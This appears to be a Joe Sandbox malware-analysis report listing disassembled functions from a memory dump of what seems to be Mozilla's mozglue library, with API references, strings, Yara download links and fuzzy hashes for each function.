Function 6C5F4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5F4D0A
-%llu, xrefs: 6C5F4825
data, xrefs: 6C5F49B4
schema, xrefs: 6C5F48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5F4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5F4CAF
bl, xrefs: 6C5F4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5F4DB8, 6C5F4DD8
ProfileBuffer parse error: %s, xrefs: 6C5F4DD9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID: bl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2077017665
Opcode ID: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction ID: fd98a7aa6ab75b5fd96447dc6d80028990b5f4b436d5addc800e05ca4dca9abc
Opcode Fuzzy Hash: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction Fuzzy Hash: B0722071918B858BD326CF34C85139BF7E5BFDA344F108B1DE4996B611EB70A886CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

<jemalloc>, xrefs: 6C5CD827
: (malloc) Error initializing arena, xrefs: 6C5CD82C

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C607030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C607046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C607060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C60707E

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C607096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C60709C
LocalFree.KERNEL32(?), ref: 6C6070AA

Strings

### ERROR: %s: %s, xrefs: 6C607087
(null), xrefs: 6C60706A, 6C607083

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction ID: 207a2007d209c76fcff73cc7a9a3a79f5c3462527a4f563cb7ea939f4b7c1af7
Opcode Fuzzy Hash: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction Fuzzy Hash: 0C01B9B1A00104AFDB00AB65DC8ADEF7BBCEF89255F050435FA46A3241D67579188BA9

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

(root), xrefs: 6C5F354F
expected a Time entry, xrefs: 6C5F2E36
ProfileBuffer parse error: %s, xrefs: 6C5F2E3B

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

-Infinity, xrefs: 6C609E60, 6C609E7B
NaN, xrefs: 6C609EAB

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C5ADA88
1, xrefs: 6C5ADBDD
@, xrefs: 6C5ADAF6
0, xrefs: 6C5ADC7F
0, xrefs: 6C5AD852
8, xrefs: 6C5ADC08
9, xrefs: 6C5ADE7F
-, xrefs: 6C5AD7DD

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C6156C7, 6C619459, 6C61921F, 6C615740, 6C619269, 6C615703, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C6156C7, 6C619459, 6C61921F, 6C615740, 6C619269, 6C615703, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

ntdll.dll, xrefs: 6C60C413
NtQueryVirtualMemory, xrefs: 6C60C431

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C5B9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C5BA3D8
1, xrefs: 6C5BA824
9, xrefs: 6C5BA5D6
0, xrefs: 6C5BA100
0, xrefs: 6C5BAB22
@, xrefs: 6C5BA625

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction ID: 48fa66d57d283930fb65c40dbd526f67676e69234deaf4743b0921c3a37ebd22
Opcode Fuzzy Hash: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction Fuzzy Hash: 9D82F3719093558BD711CF09C8B026EBFF1FB85718F55892AE8D567E80D335A886CB82

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5F77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F7A93

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F7AA1

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5F7B31

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction ID: a423371302ea8f4e9747c20eb7d9f1d6ee17ab8ebaf823c9f9e39393cb153d5e
Opcode Fuzzy Hash: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction Fuzzy Hash: 5FB17B356083848BDB18CE25C85065FB7E3BBC9358F154A1CE9A567B91DB70ED0BCB82

Function 6C5C8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C9813, 6C5C985D, 6C5C9878, 6C5C9CEB
MOZ_CRASH(), xrefs: 6C5C97EA

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction ID: 8f95e921b366a0e6f68117a83a2b2a19057236243acd26d1dd961e15aa4948f0
Opcode Fuzzy Hash: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction Fuzzy Hash: 04D27C71B056018FD708CF59C990715BBE1BF85328F29C76DE86A8B7A5D731E841CB82

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
